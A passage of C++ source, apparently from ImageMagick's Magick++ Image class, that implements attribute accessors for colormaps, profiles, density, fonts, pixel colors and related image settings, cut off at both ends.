should be supported using binary arguments // in the ImageMagick library. ssize_t x = 0; ssize_t y = 0; size_t width = columns(); size_t height = rows(); ParseMetaGeometry (static_cast<std::string>(geometry_).c_str(), &x, &y, &width, &height ); ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); MagickCore::Image* newImage = ResizeImage( constImage(), width, height, image()->filter, &exceptionInfo ); replaceImage( newImage ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } /* * Methods for setting image attributes * */ // Join images into a single multi-image file void Magick::Image::adjoin ( const bool flag_ ) { modifyImage(); options()->adjoin( flag_ ); } bool Magick::Image::adjoin ( void ) const { return constOptions()->adjoin(); } // Remove pixel aliasing void Magick::Image::antiAlias( const bool flag_ ) { modifyImage(); options()->antiAlias( static_cast<size_t>(flag_) ); } bool Magick::Image::antiAlias( void ) { return static_cast<bool>( options()->antiAlias( ) ); } // Animation inter-frame delay void Magick::Image::animationDelay ( const size_t delay_ ) { modifyImage(); image()->delay = delay_; } size_t Magick::Image::animationDelay ( void ) const { return constImage()->delay; } // Number of iterations to play animation void Magick::Image::animationIterations ( const size_t iterations_ ) { modifyImage(); image()->iterations = iterations_; } size_t Magick::Image::animationIterations ( void ) const { return constImage()->iterations; } // Access/Update a named image attribute void Magick::Image::attribute ( const std::string name_, const std::string value_ ) { modifyImage(); ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); SetImageProperty( image(), name_.c_str(), value_.c_str(), &exceptionInfo ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } std::string Magick::Image::attribute ( const std::string name_ ) { ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); const char *value = GetImageProperty( constImage(), name_.c_str(), &exceptionInfo ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); if ( value ) return std::string( value ); return std::string(); // Intentionally no exception } // Background color void Magick::Image::backgroundColor ( const Color &backgroundColor_ ) { modifyImage(); if ( backgroundColor_.isValid() ) { image()->background_color = backgroundColor_; } else { image()->background_color = Color(); } options()->backgroundColor( backgroundColor_ ); } Magick::Color Magick::Image::backgroundColor ( void ) const { return constOptions()->backgroundColor( ); } // Background fill texture void Magick::Image::backgroundTexture ( const std::string &backgroundTexture_ ) { modifyImage(); options()->backgroundTexture( backgroundTexture_ ); } std::string Magick::Image::backgroundTexture ( void ) const { return constOptions()->backgroundTexture( ); } // Original image columns size_t Magick::Image::baseColumns ( void ) const { return constImage()->magick_columns; } // Original image name std::string Magick::Image::baseFilename ( void ) const { return std::string(constImage()->magick_filename); } // Original image rows size_t Magick::Image::baseRows ( void ) const { return constImage()->magick_rows; } // Border color void Magick::Image::borderColor ( const Color &borderColor_ ) { modifyImage(); if ( borderColor_.isValid() ) { image()->border_color = borderColor_; } else { image()->border_color = Color(); } options()->borderColor( borderColor_ ); } Magick::Color Magick::Image::borderColor ( void ) const { return constOptions()->borderColor( ); } // Return smallest bounding box enclosing non-border pixels. The // current fuzz value is used when discriminating between pixels. // This is the crop bounding box used by crop(Geometry(0,0)); Magick::Geometry Magick::Image::boundingBox ( void ) const { ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); RectangleInfo bbox = GetImageBoundingBox( constImage(), &exceptionInfo); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); return Geometry( bbox ); } // Text bounding-box base color void Magick::Image::boxColor ( const Color &boxColor_ ) { modifyImage(); options()->boxColor( boxColor_ ); } Magick::Color Magick::Image::boxColor ( void ) const { return constOptions()->boxColor( ); } // Pixel cache threshold. Once this threshold is exceeded, all // subsequent pixels cache operations are to/from disk. // This setting is shared by all Image objects. /* static */ void Magick::Image::cacheThreshold ( const size_t threshold_ ) { SetMagickResourceLimit( MemoryResource, threshold_ ); } void Magick::Image::chromaBluePrimary ( const double x_, const double y_ ) { modifyImage(); image()->chromaticity.blue_primary.x = x_; image()->chromaticity.blue_primary.y = y_; } void Magick::Image::chromaBluePrimary ( double *x_, double *y_ ) const { *x_ = constImage()->chromaticity.blue_primary.x; *y_ = constImage()->chromaticity.blue_primary.y; } void Magick::Image::chromaGreenPrimary ( const double x_, const double y_ ) { modifyImage(); image()->chromaticity.green_primary.x = x_; image()->chromaticity.green_primary.y = y_; } void Magick::Image::chromaGreenPrimary ( double *x_, double *y_ ) const { *x_ = constImage()->chromaticity.green_primary.x; *y_ = constImage()->chromaticity.green_primary.y; } void Magick::Image::chromaRedPrimary ( const double x_, const double y_ ) { modifyImage(); image()->chromaticity.red_primary.x = x_; image()->chromaticity.red_primary.y = y_; } void Magick::Image::chromaRedPrimary ( double *x_, double *y_ ) const { *x_ = constImage()->chromaticity.red_primary.x; *y_ = constImage()->chromaticity.red_primary.y; } void Magick::Image::chromaWhitePoint ( const double x_, const double y_ ) { modifyImage(); image()->chromaticity.white_point.x = x_; image()->chromaticity.white_point.y = y_; } void Magick::Image::chromaWhitePoint ( double *x_, double *y_ ) const { *x_ = constImage()->chromaticity.white_point.x; *y_ = constImage()->chromaticity.white_point.y; } // Set image storage class void Magick::Image::classType ( const ClassType class_ ) { if ( classType() == PseudoClass && class_ == DirectClass ) { // Use SyncImage to synchronize the DirectClass pixels with the // color map and then set to DirectClass type. modifyImage(); ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); SyncImage( image(), &exceptionInfo ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); image()->colormap = (PixelInfo *) RelinquishMagickMemory( image()->colormap ); image()->storage_class = static_cast<MagickCore::ClassType>(DirectClass); return; } if ( classType() == DirectClass && class_ == PseudoClass ) { // Quantize to create PseudoClass color map modifyImage(); quantizeColors(MaxColormapSize); quantize(); image()->storage_class = static_cast<MagickCore::ClassType>(PseudoClass); } } // Associate a clip mask with the image. The clip mask must be the // same dimensions as the image. Pass an invalid image to unset an // existing clip mask. void Magick::Image::clipMask ( const Magick::Image & clipMask_ ) { modifyImage(); ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); if( clipMask_.isValid() ) { // Set clip mask SetImageMask( image(), clipMask_.constImage(), &exceptionInfo ); } else { // Unset existing clip mask SetImageMask( image(), 0, &exceptionInfo ); } throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } Magick::Image Magick::Image::clipMask ( void ) const { ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); MagickCore::Image* image = GetImageMask( constImage(), &exceptionInfo ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); if (image == (MagickCore::Image *) NULL) return Magick::Image(); else return Magick::Image( image ); } void Magick::Image::colorFuzz ( const double fuzz_ ) { modifyImage(); image()->fuzz = fuzz_; options()->colorFuzz( fuzz_ ); } double Magick::Image::colorFuzz ( void ) const { return constOptions()->colorFuzz( ); } // Set color in colormap at index void Magick::Image::colorMap ( const size_t index_, const Color &color_ ) { MagickCore::Image* imageptr = image(); if (index_ > (MaxColormapSize-1) ) throwExceptionExplicit( OptionError, "Colormap index must be less than MaxColormapSize" ); if ( !color_.isValid() ) throwExceptionExplicit( OptionError, "Color argument is invalid"); modifyImage(); // Ensure that colormap size is large enough if ( colorMapSize() < (index_+1) ) colorMapSize( index_ + 1 ); // Set color at index in colormap (imageptr->colormap)[index_] = color_; } // Return color in colormap at index Magick::Color Magick::Image::colorMap ( const size_t index_ ) const { const MagickCore::Image* imageptr = constImage(); if ( !imageptr->colormap ) throwExceptionExplicit( OptionError, "Image does not contain a colormap"); if ( index_ > imageptr->colors-1 ) throwExceptionExplicit( OptionError, "Index out of range"); return Magick::Color( (imageptr->colormap)[index_] ); } // Colormap size (number of colormap entries) void Magick::Image::colorMapSize ( const size_t entries_ ) { if (entries_ >MaxColormapSize ) throwExceptionExplicit( OptionError, "Colormap entries must not exceed MaxColormapSize" ); modifyImage(); MagickCore::Image* imageptr = image(); if( !imageptr->colormap ) { // Allocate colormap imageptr->colormap = static_cast<PixelInfo*>(AcquireMagickMemory(entries_*sizeof(PixelInfo))); imageptr->colors = 0; } else if ( entries_ > imageptr->colors ) { // Re-allocate colormap imageptr->colormap=(PixelInfo *) ResizeMagickMemory(imageptr->colormap,(entries_)*sizeof(PixelInfo)); } // Initialize any new colormap entries as all black Color black(0,0,0); for( size_t i=imageptr->colors; i<(entries_-1); i++ ) (imageptr->colormap)[i] = black; imageptr->colors = entries_; } size_t Magick::Image::colorMapSize ( void ) { const MagickCore::Image* imageptr = constImage(); if ( !imageptr->colormap ) throwExceptionExplicit( OptionError, "Image does not contain a colormap"); return imageptr->colors; } // Image colorspace void Magick::Image::colorSpace( const ColorspaceType colorSpace_ ) { if ( image()->colorspace == colorSpace_ ) return; modifyImage(); ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); TransformImageColorspace(image(), colorSpace_, &exceptionInfo); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } Magick::ColorspaceType Magick::Image::colorSpace ( void ) const { return constImage()->colorspace; } // Set image colorspace type. void Magick::Image::colorspaceType( const ColorspaceType colorSpace_ ) { modifyImage(); ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); SetImageColorspace(image(), colorSpace_, &exceptionInfo); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); options()->colorspaceType( colorSpace_ ); } Magick::ColorspaceType Magick::Image::colorspaceType ( void ) const { return constOptions()->colorspaceType(); } // Comment string void Magick::Image::comment ( const std::string &comment_ ) { modifyImage(); ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); SetImageProperty( image(), "Comment", NULL, &exceptionInfo ); if ( comment_.length() > 0 ) SetImageProperty( image(), "Comment", comment_.c_str(), &exceptionInfo ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } std::string Magick::Image::comment ( void ) const { ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); const char *value = GetImageProperty( constImage(), "Comment", &exceptionInfo ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); if ( value ) return std::string( value ); return std::string(); // Intentionally no exception } // Composition operator to be used when composition is implicitly used // (such as for image flattening). void Magick::Image::compose (const CompositeOperator compose_) { image()->compose=compose_; } Magick::CompositeOperator Magick::Image::compose ( void ) const { return constImage()->compose; } // Compression algorithm void Magick::Image::compressType ( const CompressionType compressType_ ) { modifyImage(); image()->compression = compressType_; options()->compressType( compressType_ ); } Magick::CompressionType Magick::Image::compressType ( void ) const { return constImage()->compression; } // Enable printing of debug messages from ImageMagick void Magick::Image::debug ( const bool flag_ ) { modifyImage(); options()->debug( flag_ ); } bool Magick::Image::debug ( void ) const { return constOptions()->debug(); } // Tagged image format define (set/access coder-specific option) The // magick_ option specifies the coder the define applies to. The key_ // option provides the key specific to that coder. The value_ option // provides the value to set (if any). See the defineSet() method if the // key must be removed entirely. void Magick::Image::defineValue ( const std::string &magick_, const std::string &key_, const std::string &value_ ) { modifyImage(); std::string format = magick_ + ":" + key_; std::string option = value_; (void) SetImageOption ( imageInfo(), format.c_str(), option.c_str() ); } std::string Magick::Image::defineValue ( const std::string &magick_, const std::string &key_ ) const { std::string definition = magick_ + ":" + key_; const char *option = GetImageOption ( constImageInfo(), definition.c_str() ); if (option) return std::string( option ); return std::string( ); } // Tagged image format define. Similar to the defineValue() method // except that passing the flag_ value 'true' creates a value-less // define with that format and key. Passing the flag_ value 'false' // removes any existing matching definition. The method returns 'true' // if a matching key exists, and 'false' if no matching key exists. void Magick::Image::defineSet ( const std::string &magick_, const std::string &key_, bool flag_ ) { modifyImage(); std::string definition = magick_ + ":" + key_; if (flag_) { (void) SetImageOption ( imageInfo(), definition.c_str(), "" ); } else { DeleteImageOption( imageInfo(), definition.c_str() ); } } bool Magick::Image::defineSet ( const std::string &magick_, const std::string &key_ ) const { std::string key = magick_ + ":" + key_; const char *option = GetImageOption ( constImageInfo(), key.c_str() ); if (option) return true; return false; } // Pixel resolution void Magick::Image::density ( const Geometry &density_ ) { modifyImage(); options()->density( density_ ); if ( density_.isValid() ) { image()->resolution.x = density_.width(); if ( density_.height() != 0 ) { image()->resolution.y = density_.height(); } else { image()->resolution.y = density_.width(); } } else { // Reset to default image()->resolution.x = 0; image()->resolution.y = 0; } } Magick::Geometry Magick::Image::density ( void ) const { if (isValid()) { ssize_t x_resolution=72; ssize_t y_resolution=72; if (constImage()->resolution.x > 0.0) x_resolution=static_cast<ssize_t>(constImage()->resolution.x + 0.5); if (constImage()->resolution.y > 0.0) y_resolution=static_cast<ssize_t>(constImage()->resolution.y + 0.5); return Geometry(x_resolution,y_resolution); } return constOptions()->density( ); } // Image depth (bits allocated to red/green/blue components) void Magick::Image::depth ( const size_t depth_ ) { size_t depth = depth_; if (depth > MAGICKCORE_QUANTUM_DEPTH) depth=MAGICKCORE_QUANTUM_DEPTH; modifyImage(); image()->depth=depth; options()->depth( depth ); } size_t Magick::Image::depth ( void ) const { return constImage()->depth; } std::string Magick::Image::directory ( void ) const { if ( constImage()->directory ) return std::string( constImage()->directory ); throwExceptionExplicit( CorruptImageWarning, "Image does not contain a directory"); return std::string(); } // Endianness (little like Intel or big like SPARC) for image // formats which support endian-specific options. void Magick::Image::endian ( const Magick::EndianType endian_ ) { modifyImage(); options()->endian( endian_ ); image()->endian = endian_; } Magick::EndianType Magick::Image::endian ( void ) const { return constImage()->endian; } // EXIF profile (BLOB) void Magick::Image::exifProfile( const Magick::Blob &exifProfile_ ) { modifyImage(); if ( exifProfile_.data() != 0 ) { StringInfo * exif_profile = AcquireStringInfo( exifProfile_.length() ); SetStringInfoDatum(exif_profile ,(unsigned char *) exifProfile_.data()); ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); (void) SetImageProfile( image(), "exif", exif_profile, &exceptionInfo); exif_profile =DestroyStringInfo( exif_profile ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } } Magick::Blob Magick::Image::exifProfile( void ) const { const StringInfo * exif_profile = GetImageProfile( constImage(), "exif" ); if ( exif_profile == (StringInfo *) NULL) return Blob( 0, 0 ); return Blob(GetStringInfoDatum(exif_profile),GetStringInfoLength(exif_profile)); } // Image file name void Magick::Image::fileName ( const std::string &fileName_ ) { modifyImage(); fileName_.copy( image()->filename, sizeof(image()->filename) - 1 ); image()->filename[ fileName_.length() ] = 0; // Null terminate options()->fileName( fileName_ ); } std::string Magick::Image::fileName ( void ) const { return constOptions()->fileName( ); } // Image file size off_t Magick::Image::fileSize ( void ) const { return (off_t) GetBlobSize( constImage() ); } // Color to use when drawing inside an object void Magick::Image::fillColor ( const Magick::Color &fillColor_ ) { modifyImage(); options()->fillColor(fillColor_); } Magick::Color Magick::Image::fillColor ( void ) const { return constOptions()->fillColor(); } // Rule to use when filling drawn objects void Magick::Image::fillRule ( const Magick::FillRule &fillRule_ ) { modifyImage(); options()->fillRule(fillRule_); } Magick::FillRule Magick::Image::fillRule ( void ) const { return constOptions()->fillRule(); } // Pattern to use while filling drawn objects. void Magick::Image::fillPattern ( const Image &fillPattern_ ) { modifyImage(); if(fillPattern_.isValid()) options()->fillPattern( fillPattern_.constImage() ); else options()->fillPattern( static_cast<MagickCore::Image*>(NULL) ); } Magick::Image Magick::Image::fillPattern ( void ) const { // FIXME: This is inordinately innefficient Image texture; const MagickCore::Image* tmpTexture = constOptions()->fillPattern( ); if ( tmpTexture ) { ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); MagickCore::Image* image = CloneImage( tmpTexture, 0, // columns 0, // rows MagickTrue, // orphan &exceptionInfo); texture.replaceImage( image ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } return texture; } // Filter used by zoom void Magick::Image::filterType ( const Magick::FilterTypes filterType_ ) { modifyImage(); image()->filter = filterType_; } Magick::FilterTypes Magick::Image::filterType ( void ) const { return constImage()->filter; } // Font name void Magick::Image::font ( const std::string &font_ ) { modifyImage(); options()->font( font_ ); } std::string Magick::Image::font ( void ) const { return constOptions()->font( ); } // Font point size void Magick::Image::fontPointsize ( const double pointSize_ ) { modifyImage(); options()->fontPointsize( pointSize_ ); } double Magick::Image::fontPointsize ( void ) const { return constOptions()->fontPointsize( ); } // Font type metrics void Magick::Image::fontTypeMetrics( const std::string &text_, TypeMetric *metrics ) { DrawInfo *drawInfo = options()->drawInfo(); drawInfo->text = const_cast<char *>(text_.c_str()); ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); GetTypeMetrics( image(), drawInfo, &(metrics->_typeMetric), &exceptionInfo ); drawInfo->text = 0; throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } // Image format string std::string Magick::Image::format ( void ) const { ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); const MagickInfo * magick_info = GetMagickInfo( constImage()->magick, &exceptionInfo); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); if (( magick_info != 0 ) && ( *magick_info->description != '\0' )) return std::string(magick_info->description); throwExceptionExplicit( CorruptImageWarning, "Unrecognized image magick type" ); return std::string(); } // Gamma adjustment double Magick::Image::gamma ( void ) const { return constImage()->gamma; } Magick::Geometry Magick::Image::geometry ( void ) const { if ( constImage()->geometry ) { return Geometry(constImage()->geometry); } throwExceptionExplicit( OptionWarning, "Image does not contain a geometry"); return Geometry(); } void Magick::Image::gifDisposeMethod ( const size_t disposeMethod_ ) { modifyImage(); image()->dispose = (DisposeType) disposeMethod_; } size_t Magick::Image::gifDisposeMethod ( void ) const { // FIXME: It would be better to return an enumeration return constImage()->dispose; } // ICC ICM color profile (BLOB) void Magick::Image::iccColorProfile( const Magick::Blob &colorProfile_ ) { profile("icm",colorProfile_); } Magick::Blob Magick::Image::iccColorProfile( void ) const { const StringInfo * color_profile = GetImageProfile( constImage(), "icc" ); if ( color_profile == (StringInfo *) NULL) return Blob( 0, 0 ); return Blob( GetStringInfoDatum(color_profile), GetStringInfoLength(color_profile) ); } void Magick::Image::interlaceType ( const Magick::InterlaceType interlace_ ) { modifyImage(); image()->interlace = interlace_; options()->interlaceType ( interlace_ ); } Magick::InterlaceType Magick::Image::interlaceType ( void ) const { return constImage()->interlace; } // IPTC profile (BLOB) void Magick::Image::iptcProfile( const Magick::Blob &iptcProfile_ ) { modifyImage(); if ( iptcProfile_.data() != 0 ) { StringInfo * iptc_profile = AcquireStringInfo( iptcProfile_.length() ); SetStringInfoDatum(iptc_profile ,(unsigned char *) iptcProfile_.data()); ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); (void) SetImageProfile( image(), "iptc", iptc_profile, &exceptionInfo); iptc_profile =DestroyStringInfo( iptc_profile ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } } Magick::Blob Magick::Image::iptcProfile( void ) const { const StringInfo * iptc_profile = GetImageProfile( constImage(), "iptc" ); if ( iptc_profile == (StringInfo *) NULL) return Blob( 0, 0 ); return Blob( GetStringInfoDatum(iptc_profile), GetStringInfoLength(iptc_profile)); } // Does object contain valid image? void Magick::Image::isValid ( const bool isValid_ ) { if ( !isValid_ ) { delete _imgRef; _imgRef = new ImageRef; } else if ( !isValid() ) { // Construct with single-pixel black image to make // image valid. This is an obvious hack. size( Geometry(1,1) ); read( "xc:#000000" ); } } bool Magick::Image::isValid ( void ) const { if ( rows() && columns() ) return true; return false; } // Label image void Magick::Image::label ( const std::string &label_ ) { modifyImage(); ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); SetImageProperty ( image(), "Label", NULL, &exceptionInfo ); if ( label_.length() > 0 ) SetImageProperty ( image(), "Label", label_.c_str(), &exceptionInfo ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } std::string Magick::Image::label ( void ) const { ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); const char *value = GetImageProperty( constImage(), "Label", &exceptionInfo ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); if ( value ) return std::string( value ); return std::string(); } void Magick::Image::magick ( const std::string &magick_ ) { modifyImage(); magick_.copy( image()->magick, sizeof(image()->magick) - 1 ); image()->magick[ magick_.length() ] = 0; options()->magick( magick_ ); } std::string Magick::Image::magick ( void ) const { if ( *(constImage()->magick) != '\0' ) return std::string(constImage()->magick); return constOptions()->magick( ); } void Magick::Image::matte ( const bool matteFlag_ ) { modifyImage(); // If matte channel is requested, but image doesn't already have a // matte channel, then create an opaque matte channel. Likewise, if // the image already has a matte channel but a matte channel is not // desired, then set the matte channel to opaque. ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); if ((matteFlag_ && !constImage()->alpha_trait) || (constImage()->alpha_trait && !matteFlag_)) SetImageAlpha(image(),OpaqueAlpha,&exceptionInfo); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); image()->alpha_trait = matteFlag_ ? BlendPixelTrait : UndefinedPixelTrait; } bool Magick::Image::matte ( void ) const { if ( constImage()->alpha_trait == BlendPixelTrait ) return true; else return false; } void Magick::Image::matteColor ( const Color &matteColor_ ) { modifyImage(); if ( matteColor_.isValid() ) { image()->matte_color = matteColor_; options()->matteColor( matteColor_ ); } else { // Set to default matte color Color tmpColor( "#BDBDBD" ); image()->matte_color = tmpColor; options()->matteColor( tmpColor ); } } Magick::Color Magick::Image::matteColor ( void ) const { return Color( ClampToQuantum( constImage()->matte_color.red ), ClampToQuantum( constImage()->matte_color.green ), ClampToQuantum( constImage()->matte_color.blue ) ); } double Magick::Image::meanErrorPerPixel ( void ) const { return(constImage()->error.mean_error_per_pixel); } // Image modulus depth (minimum number of bits required to support // red/green/blue components without loss of accuracy) void Magick::Image::modulusDepth ( const size_t depth_ ) { modifyImage(); ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); SetImageDepth( image(), depth_, &exceptionInfo ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); options()->depth( depth_ ); } size_t Magick::Image::modulusDepth ( void ) const { ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); size_t depth=GetImageDepth( constImage(), &exceptionInfo ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); return depth; } void Magick::Image::monochrome ( const bool monochromeFlag_ ) { modifyImage(); options()->monochrome( monochromeFlag_ ); } bool Magick::Image::monochrome ( void ) const { return constOptions()->monochrome( ); } Magick::Geometry Magick::Image::montageGeometry ( void ) const { if ( constImage()->montage ) return Magick::Geometry(constImage()->montage); throwExceptionExplicit( CorruptImageWarning, "Image does not contain a montage" ); return Magick::Geometry(); } double Magick::Image::normalizedMaxError ( void ) const { return(constImage()->error.normalized_maximum_error); } double Magick::Image::normalizedMeanError ( void ) const { return constImage()->error.normalized_mean_error; } // Image orientation void Magick::Image::orientation ( const Magick::OrientationType orientation_ ) { modifyImage(); image()->orientation = orientation_; } Magick::OrientationType Magick::Image::orientation ( void ) const { return constImage()->orientation; } void Magick::Image::penColor ( const Color &penColor_ ) { modifyImage(); options()->fillColor(penColor_); options()->strokeColor(penColor_); } Magick::Color Magick::Image::penColor ( void ) const { return constOptions()->fillColor(); } void Magick::Image::penTexture ( const Image &penTexture_ ) { modifyImage(); if(penTexture_.isValid()) options()->fillPattern( penTexture_.constImage() ); else options()->fillPattern( static_cast<MagickCore::Image*>(NULL) ); } Magick::Image Magick::Image::penTexture ( void ) const { // FIXME: This is inordinately innefficient Image texture; const MagickCore::Image* tmpTexture = constOptions()->fillPattern( ); if ( tmpTexture ) { ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); MagickCore::Image* image = CloneImage( tmpTexture, 0, // columns 0, // rows MagickTrue, // orphan &exceptionInfo); texture.replaceImage( image ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } return texture; } // Set the color of a pixel. void Magick::Image::pixelColor ( const ssize_t x_, const ssize_t y_, const Color &color_ ) { // Test arguments to ensure they are within the image. if ( y_ > (ssize_t) rows() || x_ > (ssize_t) columns() ) throwExceptionExplicit( OptionError, "Access outside of image boundary" ); modifyImage(); // Set image to DirectClass classType( DirectClass ); // Get pixel view Pixels pixels(*this); // Set pixel value Quantum *pixel = pixels.get(x_, y_, 1, 1 ); PixelInfo packet = color_; MagickCore::SetPixelInfoPixel(constImage(),&packet,pixel); // Tell ImageMagick that pixels have been updated pixels.sync(); return; } // Get the color of a pixel Magick::Color Magick::Image::pixelColor ( const ssize_t x_, const ssize_t y_ ) const { const Quantum* pixel = getConstPixels( x_, y_, 1, 1 ); if ( pixel ) { PixelInfo packet; MagickCore::GetPixelInfoPixel(constImage(),pixel,&packet); return Color( packet ); } return Color(); // invalid } // Preferred size and location of an image canvas. void Magick::Image::page ( const Magick::Geometry &pageSize_ ) { modifyImage(); options()->page( pageSize_ ); image()->page = pageSize_; } Magick::Geometry Magick::Image::page ( void ) const { return Geometry( constImage()->page.width, constImage()->page.height, AbsoluteValue(constImage()->page.x), AbsoluteValue(constImage()->page.y), constImage()->page.x < 0 ? true : false, constImage()->page.y < 0 ? true : false); } // Add a named profile to an image or remove a named profile by // passing an empty Blob (use default Blob constructor). // Valid names are: // "*", "8BIM", "ICM", "IPTC", or a generic profile name. void Magick::Image::profile( const std::string name_, const Magick::Blob &profile_ ) { modifyImage(); ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); ssize_t result = ProfileImage( image(), name_.c_str(), (unsigned char *)profile_.data(), profile_.length(), &exceptionInfo); (void) result; throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } // Retrieve a named profile from the image. // Valid names are: // "8BIM", "8BIMTEXT", "APP1", "APP1JPEG", "ICC", "ICM", & "IPTC" or // an existing generic profile name. Magick::Blob Magick::Image::profile( const std::string name_ ) const { const StringInfo * profile = GetImageProfile( constImage(), name_.c_str() ); if ( profile == (StringInfo *) NULL) return Blob( 0, 0 ); return Blob( (void*) GetStringInfoDatum(profile), GetStringInfoLength(profile)); } void Magick::Image::quality ( const size_t quality_ ) { modifyImage(); image()->quality = quality_; options()->quality( quality_ ); } size_t Magick::Image::quality ( void ) const { return constImage()->quality; } void Magick::Image::quantizeColors ( const size_t colors_ ) { modifyImage(); options()->quantizeColors( colors_ ); } size_t Magick::Image::quantizeColors ( void ) const { return constOptions()->quantizeColors( ); } void Magick::Image::quantizeColorSpace ( const Magick::ColorspaceType colorSpace_ ) { modifyImage(); options()->quantizeColorSpace( colorSpace_ ); } Magick::ColorspaceType Magick::Image::quantizeColorSpace ( void ) const { return constOptions()->quantizeColorSpace( ); } void Magick::Image::quantizeDither ( const bool ditherFlag_ ) { modifyImage(); options()->quantizeDither( ditherFlag_ ); } bool Magick::Image::quantizeDither ( void ) const { return constOptions()->quantizeDither( ); } void Magick::Image::quantizeTreeDepth ( const size_t treeDepth_ ) { modifyImage(); options()->quantizeTreeDepth( treeDepth_ ); } size_t Magick::Image::quantizeTreeDepth ( void ) const { return constOptions()->quantizeTreeDepth( ); } void Magick::Image::renderingIntent ( const Magick::RenderingIntent renderingIntent_ ) { modifyImage(); image()->rendering_intent = renderingIntent_; } Magick::RenderingIntent Magick::Image::renderingIntent ( void ) const { return static_cast<Magick::RenderingIntent>(constImage()->rendering_intent); } void Magick::Image::resolutionUnits ( const Magick::ResolutionType resolutionUnits_ ) { modifyImage(); image()->units = resolutionUnits_; options()->resolutionUnits( resolutionUnits_ ); } Magick::ResolutionType Magick::Image::resolutionUnits ( void ) const { return constOptions()->resolutionUnits( ); } void Magick::Image::scene ( const size_t scene_ ) { modifyImage(); image()->scene = scene_; } size_t Magick::Image::scene ( void ) const { return constImage()->scene; } std::string Magick::Image::signature ( const bool force_ ) const { Lock( &_imgRef->_mutexLock ); // Re-calculate image signature if necessary ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); if ( force_ || !GetImageProperty(constImage(), "Signature", &exceptionInfo) || constImage()->taint ) { SignatureImage( const_cast<MagickCore::Image *>(constImage()), &exceptionInfo ); } const char *property = GetImageProperty(constImage(), "Signature", &exceptionInfo); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); return std::string( property ); } void Magick::Image::size ( const Geometry &geometry_ ) { modifyImage(); options()->size( geometry_ ); image()->rows = geometry_.height(); image()->columns = geometry_.width(); } Magick::Geometry Magick::Image::size ( void ) const { return Magick::Geometry( constImage()->columns, constImage()->rows ); } // Splice image void Magick::Image::splice( const Geometry &geometry_ ) { RectangleInfo spliceInfo = geometry_; ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); MagickCore::Image* newImage = SpliceImage( image(), &spliceInfo, &exceptionInfo); replaceImage( newImage ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } // Obtain image statistics. Statistics are normalized to the range of // 0.0 to 1.0 and are output to the specified ImageStatistics // structure. void Magick::Image::statistics ( ImageStatistics *statistics ) { double maximum, minimum; ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); ChannelType channel_mask = SetImageChannelMask( image(), RedChannel); (void) GetImageRange( image(),&minimum,&maximum,&exceptionInfo); statistics->red.minimum=minimum; statistics->red.maximum=maximum; (void) GetImageMean( image(),&statistics->red.mean, &statistics->red.standard_deviation,&exceptionInfo); (void) GetImageKurtosis( image(),&statistics->red.kurtosis, &statistics->red.skewness,&exceptionInfo); SetPixelChannelMask( image(), channel_mask ); channel_mask = SetImageChannelMask( image(), GreenChannel); (void) GetImageRange( image(),&minimum,&maximum,&exceptionInfo); statistics->green.minimum=minimum; statistics->green.maximum=maximum; (void) GetImageMean( image(),&statistics->green.mean, &statistics->green.standard_deviation,&exceptionInfo); (void) 